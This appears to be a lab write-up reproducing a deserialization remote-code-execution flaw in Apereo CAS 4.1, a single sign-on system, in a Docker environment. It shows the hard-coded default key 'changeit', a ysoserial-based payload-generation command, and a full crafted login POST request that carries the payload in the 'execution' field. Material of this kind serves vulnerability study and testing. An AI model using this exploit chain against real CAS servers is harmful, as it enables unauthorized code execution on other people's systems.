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Apereo CAS 4.1 Deserialization RCE Vulnerability

中文版本(Chinese version)

Apereo CAS is a enterprise single sign-on system. There is an issue in CAS’s attempts to deserialize objects via the Apache Commons Collections library, which cased a RCE vulnerability.

Reference:

Environment Setup

Execute following commands to start an Apereo CAS 4.1.5：

docker-compose up -d

After the Apereo CAS is started, visiting http://your-ip:8080/cas/login to see the login page.

Exploit

The out-of-the-box default configuration of Apereo CAS before 4.1.7, is using a default secret key changeit:

public class EncryptedTranscoder implements Transcoder {
    private CipherBean cipherBean;
    private boolean compression = true;

    public EncryptedTranscoder() throws IOException {
        BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
        bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
        bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
        bufferedBlockCipherBean.setKeyAlias("aes128");
        bufferedBlockCipherBean.setKeyPassword("changeit");
        bufferedBlockCipherBean.setNonce(new RBGNonce());
        this.setCipherBean(bufferedBlockCipherBean);
    }

    // ...

We can try to use Apereo-CAS-Attack to generate a encrypted ysoserial's serialized object:

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success"

Then, intercept and modify the http request from login action of /cas/login, put the payload into execution's value:

POST /cas/login HTTP/1.1
Host: your-ip
Content-Length: 2287
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://your-ip:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://your-ip:8080/cas/login
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: JSESSIONID=24FB4BAAE1A66E8B76D521EE366B3E12; _ga=GA1.1.1139210877.1586367734
Connection: close

username=test&password=test&lt=LT-2-gs2epe7hUYofoq0gI21Cf6WZqMiJyj-cas01.example.org&execution=[payload]&_eventId=submit&submit=LOGIN

Congrats, touch /tmp/success has been successfully executed: